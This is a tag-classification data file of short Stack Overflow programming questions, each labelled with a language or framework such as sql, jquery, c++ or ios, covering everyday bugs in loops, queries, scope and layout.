javascript: reversing the loop ouput  basically i m creating a script to display the place value for set of numbers. here s my script:   <pre><code>var arrn =  3252 ; var temp = 0; var q = arrn.length; var j = 0;  for (var i = q-1; i &gt;= 0; i-- j++) {     if (j!=0) temp = temp +   +  ;     {         temp += arrn[i] * math.pow(10  j);     } } alert(temp); </code></pre>   my goal is to achieve 3000 + 200 + 50 + 2. but i get  2 + 50 + 200 + 3000. i tried temp.reverse() &amp; sort functions but doesn t seem to work. please help,javascript
print without dialog box in asp.net  i have to print a div section of asp.net page directly from printer without print dialog box  it should be directly printed to client side default printer.    any help.    thanks rajiv,asp.net
how to fetch the data on the below mentioned condition   i have a table named <code>users</code>  where i have two fields <code>username</code> and <code>password</code>. similarly  i have one more table where i have few fields and <code>username</code> field.    i have a login page where i have to check whether the <code>username</code> and <code>password</code> is present in the <code>users</code> table  and if present  i want to fetch the data from another table corresponding to that <code>username</code>.    there can be more than one data for a single user so i have to fetch all the data for the respective user. how can i do it,mysql
sql query won t accept variables for all the parameters  i have a database table with an event_id column and a scheduled_at column. the query is called in php and is as such:   <pre><code>$columnname =  scheduled_at ; $start =  2013-02-26 ; $end =  2013-02-27 ; // query to be executed $sql = ( select * from $table where $columnname between $start and $end ); </code></pre>   the query does not work when executed  however the following does work   <pre><code>$sql = ( select * from $table where $columnname between $start and  2013-02-27  ); </code></pre>   and    <pre><code>$sql = ( select * from $table where $columnname between $start and $start ); </code></pre>   does not work  but the following does work   <pre><code>$sql = ( select * from $table where $columnname between  2013-02-27  and  2013-02-27  ); </code></pre>   inserting the value manually makes it work but loses the usefulness of the function. any ideas why it would not work,sql
unable to print the contents in the file using  urllib2   i m trying to  print the lines present in the  url file however i m getting an error that says:   <pre><code>    with html as ins:     attributeerror: __exit__ </code></pre>   below posted is my code   <pre><code>  import urllib2    response = urllib2.urlopen( ------------------ )    html = response.read()   counter = 0;   with html as ins:   array = []   for line in ins:      counter = counter+1      print  cluster number is:   counter        print line   </code></pre>,python
value name of select option used as number in function  i m selling 1-2 pieces of apples or oranges in a drop-down list. the value of the items has to be  apple  and  oranges  -- so how can i use the parsed names as numbers to count the cost    <pre><code>&lt;label&gt;which fruit &lt;/label&gt;  &lt;select class= buy  id= fruit &gt;     &lt;option value=  &gt;&lt;/option&gt;     &lt;option value= apple &gt;apple $1&lt;/option&gt;     &lt;option value= orange &gt;orange $2&lt;/option&gt; &lt;/select&gt;  &lt;label&gt;how many &lt;/label&gt;  &lt;select class= buy  id= amount &gt;     &lt;option value=  &gt;&lt;/option&gt;     &lt;option value= 1 &gt;1&lt;/option&gt;     &lt;option value= 2 &gt;2&lt;/option&gt; &lt;/select&gt;  &lt;input type= text  id= total  readonly= true &gt;  $( .buy ).on( change   function() {     var fruit = parseint($( #fruit ).val());     var amount = parseint($( #amount ).val());     var total = fruit * amount;     if(isnan(total))         $( #total ).val(  );     else         $( #total ).val( $  + total); }); </code></pre>   <a href= https://jsfiddle.net/91lk7oqo/  rel= nofollow >https://jsfiddle.net/91lk7oqo/</a>,jquery
variable was not declared in scope  all of the variables declared in <code>int</code> main does not work in <code>int</code> pickword. it just says  <code>variable not declared in this scope</code> . this problem goes away when i declare all the variables before <code>int</code> main. but i m trying to avoid using global variables  but the static word isn t doing anything   <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;ctime&gt; using namespace std; pickword();  int main() {     static struct word     {         string indefsing;         string defsing;         string indefplural;         string defplural;     };     static word aeble = { aeble    aeblet    aebler    aeblerne };     static word bog = { bog    bogen    boger    bogerne };     static word hund = { hund    hunden    hunde    hundene };     static string promptform;     static string wordform;     static word rightword;      void pickword();      cout &lt;&lt;  decline the word   &lt;&lt; rightword.indefsing &lt;&lt;  in the   &lt;&lt; promptform &lt;&lt; endl;      return 0; }  void pickword() {     cout &lt;&lt;  welcome to mr jiggys plural practice for danish  &lt;&lt; endl;      pickword();     using namespace std;      srand(time(0));     int wordnumber = rand()% 3;     switch (wordnumber) //picks the word to change     {     case 0:         rightword = aeble;         break;     case 1:         rightword = bog;         break;     case 2:         rightword = hund;         break;     };      int wordformnumber = rand()% 3;     switch (wordformnumber) //decides which form of the word to use     {     case 0:         wordform = rightword.defsing;         promptform =  definite singular ;     case 1:         wordform = rightword.indefplural;         promptform =  indefinite plural ;     case 2:         wordform = rightword.defplural;         promptform =  indefinite plural ;     }; } </code></pre>,c++
"rename files in folder using c code  i have 3 folders each one containes different file names  and i would like to rename files of each folder as the following example :   <pre><code>folder1                     folder 2                            folder3  image1.pnm                  image1.pnm                        image1.pnm  image2.pnm                  image2.pnm                        image2.pnm  .....                       .....                                     .....  imagen.pnm                  imagen.pnm                        imagen.pnm    </code></pre>   <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>void change_all_filename_in_dir(char *dirname)
 {
     char newname[] =  image ;
     char extension[] =  .jpg ; 
     dir *dir;
     struct dirent *ent;
     int i = 0;
     
     if ((dir = opendir (dirname)) != null) 
     {
         while ((ent = readdir (dir)) != null) 
         {
             rename(ent-&gt;d_name  strcat(strcat(newname  i)  extension);
             i++;
         }
     closedir (dir);
     } 
     else 
     {
        printf(  folder not openend );
     }
 }</code></pre>
 </div>
 </div>",c
change of section display upon selection of grade  there are grades 7-10 from the first combo box and the second combo box contains the section per grade. what i want to achieve is when the user selects 7 as the grade for example  the second combo box will change its contents and display the available section for grade 7. any tips on how to achieve this  i know this has something to do with onchange event. .,jquery
using boost shared pointer in std::string to assign a variable  hello i am new to c++      i am trying to use shared pointer on a string.   <pre><code>class test{ private: void test(std::string* str); boost::shared_ptr&lt;std::string&gt; sample; };  void test::test(std::string* str) {   sample.reset(str); //this is not working. } </code></pre>   can any one tell me what is wrong,c++
battleship game ai guessing same thing  i have created a battleship game in python. currently  the game has a simple ai that randomly guesses a spot that it has not already guessed on the board to try and find the two block large battleship. i m making the ai more intelligent by giving it a pattern to follow. to generate the ai s guess  i use the following code.   <pre><code>while x == 0 | y == 0:      x = 0      y = 0      guess_col = guesscol(0  size - 1)      guess_row = guessrow(0  size - 1)      # make sure the guess follows the pattern      if (guess_col + guess_row)%2 != 1:          x = 1      # make sure the spot has not already been guessed      if board[guess_row][guess_col] !=  ~ :          y = 1 </code></pre>   the board looks like the following.   <pre><code>  1 2 3 4 5 6 7 8 9  1 ~ ~ ~ ~ ~ ~ ~ ~ ~ 2 ~ ~ ~ ~ ~ ~ ~ ~ ~ 3 ~ ~ ~ ~ ~ ~ ~ ~ ~ 4 ~ ~ ~ ~ ~ ~ ~ ~ ~ 5 ~ ~ ~ ~ ~ ~ ~ ~ ~ 6 ~ ~ ~ ~ ~ ~ ~ ~ ~ 7 ~ ~ ~ ~ ~ ~ ~ ~ ~ 8 ~ ~ ~ ~ ~ ~ ~ ~ ~ 9 ~ ~ ~ ~ ~ ~ ~ ~ ~ </code></pre>   the pattern works perfectly  but the new ai now guesses spots it has already guessed  making it very inefficient and not-so-smart. i have also tried using <code>if board[guess_row][guess_col] ==  ~ :</code>  but this causes the pattern to not work either. how can i make the ai guess only in spots it hasn t already guessed,python
unable to display the first column  hello i just get some data from a file but it is very weird becuase i can t get the first column of the text file. this is my text file :   <pre><code>1.2 2.6 3.5 1.02 3.05 4.65 7.15 0.54 9.26  </code></pre>   here is my code :   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  int main() {   std::ifstream myfile( a.txt );   std::string line;    while(std::getline(myfile  line)) {     std::string col1  col2  col3;     myfile &gt;&gt; col1  col2 &gt;&gt; col3;     std::cout &lt;&lt; col1 &lt;&lt;     &lt;&lt; col2 &lt;&lt;     &lt;&lt; col3 &lt;&lt; std::endl;   }    return exit_success; } </code></pre>   so i don t understand why i can t see in the terminal when i execute the program :   <pre><code>1.2 2.6 3.5 1.02 3.05 4.65 7.15 0.54 9.26  </code></pre>   instead i see this :   <pre><code>1.02 3.05 4.65 7.15 0.54 9.26  </code></pre>   thank you a lot !,c++
angularjs - loading a form from a template without using ng-view  i have a crud application  the situation i want is when you click in the list  the edit form will be opened up in a modal dialog or toggling from the side.    the form is a template (/templates/form.html).    if i use ng-view  everything is simple  i set the templateurl in the router and i get the form recompiled in the view.    but since i want to still see the grid  i want to open the form above it. so ng-view is not going to work.    how can i do the following from the controller:    <ol> <li>load the template form maybe via nginclude remember im in the js controller.  </li> <li>bind the model</li> <li>append the form with the binded model to the html </li> </ol>   thanks,angularjs
payment gateway (payzippy) integration with rails app   hello guys am working on an rails app  and is want to integrate payzippy payment gateway with rails app  but is am unable to figure it out that how to do this  any help will be appreciated.  thanks in advance,ruby-on-rails
div horizontal scroll is not working automatic  i am trying to develop a div horizontal scroll based on content width. but that is not working perfect please help me. this works if i set ul width to specific px but not <strong>auto</strong>    this is my css and html    <pre><code>.sri{ width:550px; height:40px; margin:auto; padding:0px; overflow-x:scroll; overflow-y:hidden; } .sri ul{ margin:0px; padding:0px; list-style:none; width:auto; } .sri ul li{ width:auto; margin:0px 5px; padding:0px 5px; float:left; height:auto; background:#cccccc; color:#333333; }  &lt;div class= sri &gt; &lt;ul&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;                                     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;     &lt;li&gt;something content comes here&lt;/li&gt;                 &lt;/ul&gt; </code></pre>,css
calculating (dividing) two summed fields in sql query  i have this query:   <pre><code>select fmum.dimsubscriptionkey  sum(fmum.totalunits) as totalunits  sum(fmum.ai_normalizedusage) as ai_normalizedusage   from [ai_datamart].[azureviews].[v_factmeteredusagemonthly] as fmum join [ai_datamart].[azureviews].[v_dimserviceextended] as se on(fmum.dimservicekey = se.dimservicekey) join [ai_datamart].[azureviews].[v_dimaccount] as a on(fmum.dimaccountkey = a.dimaccountkey) join [ai_datamart].[azureviews].[v_dimsubscription] as su on(fmum.dimsubscriptionkey = su.dimsubscriptionkey) where   fmum.dimdatekey &gt;=  20150201 and fmum.dimdatekey &lt;=  20150331  and se.workload =  sqldb  and se.resourcename !=  sql reporting hours  and (su.ai_billingtype =  ea  or su.ai_billingtype =  direct )   and su.isfraudidentified = 0 and su.ai_istest = 0 and su.dimbillingsystemkey = 1 and fmum.dimsubscriptionkey =  4707785  group by fmum.dimsubscriptionkey </code></pre>   which returns this result:    dimsubscriptionkey  totalunits   ai_normalizedusage 4707785             24.77043700  21.08775630    what i need to get and can t get to work is a 4th column which would be (ai_normaliedusage / totalunits)    but when i add it to the query:   <pre><code>select fmum.dimsubscriptionkey  sum(fmum.totalunits) as totalunits  sum(fmum.ai_normalizedusage) as ai_normalizedusage  (ai_normalizedusage / totalunits)   from [ai_datamart].[azureviews].[v_factmeteredusagemonthly] as fmum join [ai_datamart].[azureviews].[v_dimserviceextended] as se on(fmum.dimservicekey = se.dimservicekey) join [ai_datamart].[azureviews].[v_dimaccount] as a on(fmum.dimaccountkey = a.dimaccountkey) join [ai_datamart].[azureviews].[v_dimsubscription] as su on(fmum.dimsubscriptionkey = su.dimsubscriptionkey) where   fmum.dimdatekey &gt;=  20150201 and fmum.dimdatekey &lt;=  20150331  and se.workload =  sqldb  and se.resourcename !=  sql reporting hours  and (su.ai_billingtype =  ea  or su.ai_billingtype =  direct )   and su.isfraudidentified = 0 and su.ai_istest = 0 and su.dimbillingsystemkey = 1 and fmum.dimsubscriptionkey =  4707785  group by fmum.dimsubscriptionkey  (ai_normalizedusage / totalunits)  </code></pre>   i am not getting expected results:   <pre><code>dimsubscriptionkey  totalunits  ai_normalizedusage  (no column name) 4707785 1.45831000  0.70567620  0.48389999382847268413 4707785 3.39577900  3.28609533  0.96769999755578911348 4707785 9.49984800  9.19300290  0.96769999898945751553 4707785 3.41661200  3.30625543  0.96769999929754973640 4707785 4.49992800  2.17751515  0.48389999795552284392 4707785 2.49996000  2.41921129  0.96769999919998719979 </code></pre>   what i want is   <pre><code>dimsubscriptionkey totalunits ai_normalizedusge newcalculatedfield&lt;br&gt; 4707785 24.770437   21.0877563  0.851327585 </code></pre>   what am i missing  racking my brain!,sql
how to handle unique identifier parameter in asp.net  i need to delete a row from gridview and database based on it s id which is unique identifier. in my code below i get error msg   unrecognized guid format  .any help to fix it    <pre><code>         protected void gridview1_rowdeleting(object sender  gridviewdeleteeventargs e)     {         string id = gridview1.rows[e.rowindex].cells[0].text;          sqlconnection conn = new sqlconnection(configurationmanager.connectionstrings[ connectionstring ].connectionstring);         sqlcommand command = new sqlcommand( delete   conn);         command.commandtype = commandtype.storedprocedure;          command.parameters.add( @id   sqldbtype.uniqueidentifier);          command.parameters[ @id ].value = new system.guid(id);          command.connection.open();         command.executenonquery();          dataset ds = new dataset();         sqldataadapter da = new sqldataadapter(command);         da.fill(ds);          gridview1.datasource = ds;         gridview1.databind();         command.connection.close();      } </code></pre>,asp.net
rails search association  i am creating a simple search form in my rails app and right now it lets me search a pdform attribute. a pdform belongs to a user so there is a <code>user_id</code> in the pdform model.     how can i search a users <code>first_name</code> and have it bring up all of the pdforms that belong to them     this is how i have it setup.    <h3>routes</h3>  <pre><code>get  /pdforms/history   to:  pdforms#history  </code></pre>  <h3>views</h3>  <pre><code>&lt;%= form_tag pdforms_history_path  :method =&gt;  get  do %&gt;   &lt;%= text_field_tag :search  params[:search] %&gt;   &lt;%= submit_tag  search   :name =&gt; nil %&gt; &lt;% end %&gt; </code></pre>   <h3>pdforms controller</h3>   <pre><code>def history     @pdforms = pdform.search(params[:search])   end </code></pre>  <h3>pdform model</h3>  <pre><code>def self.search(search)   if search     self.where( user.first_name like      %#{search}% )   else     self.all   end end </code></pre>,ruby-on-rails
how to count left joined rows   i have 2 tables:   <pre><code>articles: id title text timestamp  articles_views: id article_id timestamp </code></pre>   i need sql query which would return list of all articles ordered by articles_views count for that article.,mysql
can we get close event of local notification or can we get any midnight date change event   i need to schedule local notification on receiving previously scheduling local notification. i have schedule another notification on close event of local notification.,iphone
get current view controller from nsobject class file  i have an <code>nsobject</code> file for detecting network connection. if its down  i will like to display an activity indicator at the top of the current view controller navigationitem. my storyboard config is a tabbarcontroller with three tabs. each tab connect to multiple viewcontrollers through a navigation controller individually (i.e. each tab got one navigation controller).     i like to get current viewcontroller and display the activity indicator but failed to get e current display viewcontroller. i have tried the codes below but doesnt work. can anyone advice me    <pre><code>   uiviewcontroller *topviewcontroller = [uiapplication sharedapplication].keywindow.rootviewcontroller;    uiactivityindicatorview *aiview = [[uiactivityindicatorview alloc] initwithactivityindicatorstyle:uiactivityindicatorviewstylegray];    aiview.hideswhenstopped = no; //i added this just so i could see it    topviewcontroller.navigationitem.titleview = aiview; </code></pre>,ios
how to store the first value of variable in a c# function (in a loop)  i have a function (in a loop) will plot real-time temperature (series[ experiment ])  and also i have a theoretic data (series[ theory ]) want to be plotted on the same figure. however  theory plot must have the same start time with the experiment  so i have to define the <strong><em>initial_time</em></strong>  it should be the value of(date.hour * 3600 + date.minute * 60 + date.second) in the first loop  and be fixed in the program.  how to extract this initial_time  if it is in a c program  i will use a static int initial_time=date.hour * 3600 + date.minute * 60 + date.second  but this is a c# and i could not define static in in a function....   <pre><code>private void backgroundworker1_progresschanged(object sender  progresschangedeventargs e)     {          try         {              var date = datetime.now;             x = date.hour * 3600 + date.minute * 60 + date.second;             this.chart1.series[ experiment ].points.addxy(x  myfloat);             int[] theory_x = new int[] { 1  3  5  7  9 };             int[] theory_y = new int[] { 100  200  250  300  400};             int theory_x_new=theory_x+***initial_time***;             this.chart1.series[ theory ].points.addxy(theory_x_new  theory_y);          } catch (exception)         {          } } </code></pre>,c#
msg 102  level 15  state 1  line 7 incorrect syntax near  )   using this query:   <pre><code>select * from       ( select   distinct status         from mnpdata         where  imsi_no =  abc          ) </code></pre>   i got:   <blockquote>    msg 102  level 15  state 1  line 7 incorrect syntax near  )   </blockquote>,sql
a question regarding to the state maintainance  if i have   total 10 views  such as  from 1  to 2   2   to 3 and  same   as   upto  10    if i go to 5  th view then  i  press home  button   and   then i  go   to another application and  then after   doing   some  task   i  go  to home  button  and   then   i   press my  application my 1 st   view   opens   but   i  want   to    open   my 5   th   view    plzzzzzzzzz    tell   me    solution    for   this waiting   fo  reply,iphone
ios date & time set automatically gives wrong time  i just met one of the weirdest bug on ios at my lab.    one of our device (ipod touch 5th gen  ios 8.4.1) kept showing a wrong time  despite that the <strong>location service is on</strong> and the <strong>set automatically in date &amp; time is on</strong>. the time on that device was always 5 mins late than the correct time.     that seems not to be a big deal but a bit annoying. however  one of our apps for clinic trails is time-sensitive: it always double checks whether the device has the correct time with our server; if the time is wrong  it won t be able to launch at all.    i checked online. it seems this bug has existed for <strong>several years</strong>! every time after a system update  some devices will suffer from it. i tried all solutions i found  including restart the device  putting it in airplane mode  etc. however  none of them works for me.,ios
ajax service blocked by google   i am working on an app to create pins on a world map for a group of customers. i was using google location service to get all the customer coordinates  you can see sample below:   <pre><code>nsstring *locationstring = [nsstring stringwithformat:@ %.6f %.6f ]; nsurl *url = [nsurl urlwithstring:[nsstring stringwithformat:@ http://ajax.googleapis.com/ajax/services/search/local v=1.0&amp;rsz=8&amp;sll=%@&amp;q=%@   locationstring  [cusname stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]]]; nsurlrequest *request = [nsurlrequest requestwithurl:url]; nsdata *response = [nsurlconnection sendsynchronousrequest:request returningresponse:nil error:nil]; </code></pre>   however i was using a program to do this for about 1000 customers and then i was blocked by google.    then i realized this is not supposed to be allow by google: <a href= https://developers.google.com/errors/  rel= nofollow >https://developers.google.com/errors/</a>  we received automated requests  such as scraping and prefetching. automated requests are prohibited; all requests must be made as a result of an end-user action     it seems to me that i am blocked to make any more request  even for a single customer.    does anyone know  what should i do to unblock me     thanks a lot!,ios
error in converting nvarchar to int  i have one table <code>#dateday_temp</code> in which there is a column <code>extraadultprice</code> of type <code>nvarchar(20)</code>. when i am trying to run this statement in a stored procedure   <pre><code>declare @extraadultpax decimal(10 2)  select      @extraadultpax = sum(cast((case isnull(extraadultprice    )                                    when    then 0                                    else extraadultprice end) as decimal(10 2)))  from #dateday_temp; </code></pre>   when i am passing the value 54.56 in the <code>extraadultprice</code>  column  i get the error    <blockquote>    <em>conversion failed when converting the nvarchar value  54.56  to data   type int.</em>  </blockquote>   help would be appreciated.,sql
set scrolltop of one div in the other one s scroll event cause endless loop  i am trying to write a jquery plugin for reading different contents synchronously in two divs. when one div scrolls  the other div s <code>scrolltop</code> will be set in the event s code.    the problem is the scroll event of the other div will be fired when <code>scrolltop</code> is set  then the first div s <code>scrolltop</code> will set and the other div s scroll event will be fired (followed by an endless loop).    it is similar with this situation:    <ol> <li>two soldiers receive a same command   jump when you see the other one jump .</li> <li>then  when you order one of them to jump  they will jump forever.</li> </ol>   sample code:   <pre><code>function syncreading(contentdiv) {     this.contentdiv = contentdiv;     contentdiv.onscroll = function(){         this.scroll();     } }  syncreading.prototype.scroll = function() {     //calc scrolldistance;     for(var i in divcollection)     {         if(this != divcollection[i])         {             divcollection[i].scrolltop=scrolldistance;         }     } }  var one = new syncreading(getelementbyid( one ); var other = new syncreading(getelementbyid( other )); var divcollection = [one other]; </code></pre>   (english is not my native language.),javascript
understanding a comma statement  i m trying to understand what the following function returns:   <pre><code>fs.api.services.wraponsuccess_ = function(a  b  c) {     if (b) return c = c || function() {}          function(d  e  f) {             fs.isdefinedandnotnull(d.debugtrace) &amp;&amp; fs.api.services.handledebugtrace_(d.debugtrace);             200 == d.meta.code   (fs.api.getlogger().debug( success )                  b(a(d.response)  fs.api.services.rawbundlesuccess_(d  e  f))) :             (fs.api.getlogger().error( non 200 meta code on api response   d)  c(d.meta  fs.api.services.rawbundlesuccess_(d  e  f)))         } </code></pre>   is it right that it returns a ternary function since <code>function(d e f){..}</code> is on the right of the comma  if so  does it mean calls to <code>wraponsuccess_</code>  should look something like <code>wraponsuccess_(x y z)(s t u)</code>,javascript
difference between typedef and define <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1666353/is-typedef-and-define-the-same-in-c >is typedef and #define the same in c </a><br>   <a href= https://stackoverflow.com/questions/5389387/confused-by-define-and-typedef >confused by #define and typedef</a>    </blockquote>     is there any difference between the following:   <pre><code>#define num int  ...  num x; x = 5; printf( x: %d\n   x); </code></pre>   and this:   <pre><code>typedef int num;  ...  num x; x = 5; printf( x : %d\n   x); </code></pre>   both tests compile and run without problems. so  are they equivalent     thanks.,c
maximum margin-top in safari   i ve run into a really weird problem.    i have a slide-down menu in css where i use margin-top to show and hide it. when the menu is hidden  margin-top is set to  -375 . this value works fine and puts it in the right place in every browser except safari. if i change the value to a greater negative number  like  -575   it does nothing in safari. positive changes in the value do change its position in safari.    i m hoping to avoid pulling out all my html  css  and javascript code for this question but what i d really like to know is (a) has anyone ran into safari doing weirdness with margin-top attributes with negative values and (b) is there any reason i d hit a limit on how low i can set the attribute     i m baffled. every other browser works just dandy.    also: i ve noticed top places the menu in a different place than all other browsers  too.    css   <pre><code>/* main container that has overflow set to hidden so when the menu is at  a negative value  all that s seen is the button at the bottom of it */ div.mobilemenu {   display: inline-block;   position: absolute;   z-index: 200;   height: 35px;   width: 100%;   top: 55px;   overflow: hidden;   text-align: center;   transition: height 0.5s ease; }  /* div that holds the actual menu */ #mobilemenuwrapper {   display: inline-block;   position: relative;   height: 230px;   width: 300px;   /* adjust the margin-top below to account for the height of the menu    that needs to be hidden when the menu isn t open */   margin-top: -375px;   text-align: center;   transition: margin-top 0.5s ease; }  /* same as above except javascript sets it to  show  to set margin-top to 0 px  initiating the transition in the process */ #mobilemenuwrapper.show {   display: inline-block;   margin-top: 0px; }  /* div that contains the actual menu */ div.mobilemenuoptionswrapper {   display: block;   height: 100%   width: 100%;   text-align: center; }  /* button at the bottom of the menu that opens and closes it */ #mobilemenubutton {   display: inline-block;   height: 35px;   width: 100px;   margin: auto auto;   text-align: center;   line-height: 35px;   background-color: black; } </code></pre>,css
get type of object and dynamically set it as the object  is it possible to get the type of object and dynamically set it as the object. i have several viewmodels that all contain the same property and want to do something like this   <pre><code>if (this.datacontext is camerasviewmodel) {      //type type = type.gettype((this.datacontext.tostring());      object o = assembly.getexecutingassembly().createinstance(this.datacontext.gettype().tostring());      type type = o.gettype();       foreach (buttonviewmodel button in (this.datacontext as type).buttons)      {          if (button.displayname == this.content.tostring())          {              this.template = (controltemplate)this.findresource(button.templateresource.substring(0  button.templateresource.length - 3) +  pr );              break;          }      }  } </code></pre>   instead of saying this.datacontext as camerasviewmodel i want to say this.datacontext as thedynamictype    any suggestions,c#
loop throught dynamicly generated options  hi i am trying to find a way to loop through some dynamically generated options.i have tryed to do it like this:   <pre><code>console.log($( select#subcategory option ).length); $( select#subcategory option ).each(function () {              console.log($(this).val() +  ceva );             if ($(this).val() == subcategoryid) {                 console.log($(this).val());                 $(this).attr( selected    selected );             } }); </code></pre>   but it seems jquery does not see any of the generated items.i am using jquery 1.5.1.    how can i solve this problem     <strong>edit</strong>    so far i have no luck in managing to select the generated elements.from the methods i have tryed so far i can tell that neither manages to see the dom elements that are dynamilt created.it is as if they are not there   but if i check with firebug i can see them.can this problem appear beucase i am creating them after an ajax call,jquery
mysql fulltext search - only results that contain all words  with the following query i get results that contain the words  international  and  shipping  and i also get results that contain  international  or  shipping . what can i do to ensure that the results contain both words and not just one of them     any help would be greatly appreciated  thanks!    <pre><code>select client_company client_description client_keywords from tb_clients where match (client_company client_description client_keywords) against ( international shipping ) &gt; 0 limit 10 </code></pre>,mysql
parsing json in android  i am about to work with <strong>json</strong> for the first time. previously i worked on parsing <em>xml</em> in <em>android</em>. how is it different with <em>json</em>  suggest me some good tutorials for the same.      stone,android
mysql query to get clients who have 3 or more then 3 order each of the last 3 month  lets say i have this record:    *******order table**************   <pre><code>id         client           order_date  5          7                 2015-12-27  6          7                 2015-12-28  8          7                 2015-12-27  9          7                 2016-01-27  10         7                 2016-01-28  11         7                 2016-01-27  12         7                 2016-02-27  13         7                 2016-02-28  14         7                 2016-02-27  15         9                 2016-01-27  16         9                 2016-01-27  17         9                 2016-01-27  18         9                 2016-02-02  19         9                 2016-02-04  20         9                 2016-02-04  21         11                2015-12-27  22         11                2015-12-27 </code></pre>   i am trying to write a query:   <pre><code>select count(*) as regular_client from  ( select count(*) as totalcount  client    from order    where `order_date` &gt;= (date_format(curdate()   %y-%m-01 ) - interval 3 month)    group by `client` ) subq where totalcount &gt;= 3; </code></pre>   expected output:   <pre><code>regular_client   2 </code></pre>,mysql
next_permutation in c++ on strings  my code accepts a string and tries to check if there exists a permutation of the input string or not.if there exists one such string  print it else print  no answer  .but my code doesn t compile and shows error. error is ::no matching function for call to  next_permutation(std::string&amp;) | what is the correct method to accomplish this task     <pre><code>#include &lt;bits/stdc++.h&gt; using namespace std; int main(){     int t;     cin&gt;&gt;t;     while(t--){         string s;         cin&gt;&gt;s;         string ans=next_permutation(s);// do permutation and store it in string ans         if(ans==s)// if there is no permutation possible original and ans will be same             cout&lt;&lt; no answer  &lt;&lt;endl;         else             cout&lt;&lt;ans&lt;&lt;endl;// else print ans     } } </code></pre>,c++
how to make this query better in sql for this repeated query in  from clause   is there any way to make this query better by removing repeated pattern of select in from clause   what is the best efficient way to write this query   i am using sqlite.     <pre><code>select abs(avg(ravg1) - avg(ravg2)) from (select avg(stars) as ravg1        from movie m join            rating r            on m.mid = r.mid        group by r.mid       having year &lt; 1980      )        (select avg(stars) as ravg2        from movie m join       rating r on m.mid = r.mid        group by r.mid       having year &gt; 1980      ) </code></pre>,sql
does the position of the brackets really matter in php (for instance  for the sake of readability)   i started with css so i always used brackets this way:   <pre><code>#content {     selector: value; } </code></pre>   while using codeigniter i noticed that each file have the brackets like this:   <pre><code>function something here()  {     $this-&gt;$item( item );     $data[ rows ] = $this-&gt;data_model-&gt;getall();      $this-&gt;load-&gt;view( home   $data); } </code></pre>   is the second example better for readability or copying or pasting,php
"javascript changes the value returned by generated getter  i m simply working on a namespace and class system in javascript and i ve been trying to get some getters/setter working.    in my code i pass an object to a function <code>createclass</code>. it reads a key from the object of the form <code>propx</code> where the name of the property is x.    at the end i try to call <code>getx()</code> but it returns y s value of <code>hello</code>. the problem is originating in the lines 22 - 33. i think it may be that creating a new <code>name</code> variable it s overwriting x s name.    is there a way to avoid this  like being able to clone <code>name</code> so that it stays unique for <code>getx</code>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var global_ns = {}
 
 function addnamespace(ns  names) {
   var names_split = names.split( . );
   for (var i = 0; i &lt; names_split.length; i++) {
     var name = names_split[i];
     if (!(name in ns)) {
       ns[name] = {}
     }
     ns = ns[name];
   }
 }
 
 function createclass(attributes) {
   var cls = function() {
     for (var key in attributes) {
       if (attributes.hasownproperty(key)) {
         if (key ==  ctor ) {
           this.ctor = attributes[key];
         } else {
          // ###################################
           var found = key.match(/^prop(\w[\d\w_\ ]*)$/);
           if (found) {
             var prop = attributes[key];
             var name = found[1];
             this[name] = prop.init_value;
             this[ get  + name] = function() {
               return this[name];
             }
             this[ set  + name] = function(value) {
               this[name] = value;
             }
           }
           // ###################################
         }
       }
     }
     if (this.ctor) {
       var ctor_values = new this.ctor();
       for (var key in ctor_values) {
         if (ctor_values.hasownproperty(key)) {
           this[key] = ctor_values[key];
         }
       }
     }
   }
   return cls;
 }
 
 addnamespace(global_ns   a.b.c );
 
 // ###################################
 var simple_class = createclass({
   ctor: function() {
     this.a = 123;
     this.b =  something ;
   } 
   propx: {
     init_value: 10
   } 
   propy: {
     init_value:  hello 
   }
 });
 
 var cls = new simple_class();
 
 console.log(cls.getx());
 // ###################################</code></pre>
 </div>
 </div>",javascript
findstring program python  i have an assignment said that to create a findstring function that accept 2 string which are  target  and  query   and that returns  a  list  of  all  indices  in  target  where  query  appears.  if  target  does  not  contain  query  return  an  empty  list.     for example: findstring(‘attaggtttattgg’ ’gg’)    return:    [4 12]     i dont know how to start off with this function writing at all. please help me everyone. thank you so much!!!,python
why is int32 a value type   why does system.int32 that derives from system.object (thru system.valuetype) a value type while system.object is a reference type,.net
enforcing implicit relationships in sql  i m having a hard time figuring out if there is a way to enforce implicit relationsships in sql when creating your database structure. on an abstract level  i want to model something like the following:    a <strong>person</strong> can belong to one or many <strong>workfield</strong> s  a workfield can have one or many <strong>sub-workfield</strong> s which a person can also belong to. if a person belongs to one or more sub-workfield s  then he must also belong to their parent workfield s.     is there a way to enforce this relationship in sql or do i need to do this in the application layer,sql
emgu cv project real-time face detection  going to  creat real time face detection project  so project is developed on c#.net platform and is supported by a sql database to store user specific details  how will,.net
update column in table with concat option and make it 2 digits  i want to update a column in my table with concat of 2 fields.  it works fine  but i want to append 0 to one of the field if its not 2 digits because i want my month data to be 2 digits long.  what i have in months column is single digit data.   <pre><code>update employee_status set year_month = concat(year month); </code></pre>,mysql
